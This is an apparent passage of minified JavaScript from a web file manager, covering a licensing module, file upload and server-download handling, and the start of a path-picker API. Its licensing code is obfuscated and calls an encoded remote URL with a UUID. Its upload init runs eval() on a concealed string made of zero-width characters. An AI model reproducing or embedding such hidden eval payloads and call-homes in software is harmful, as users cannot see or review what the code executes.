G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var 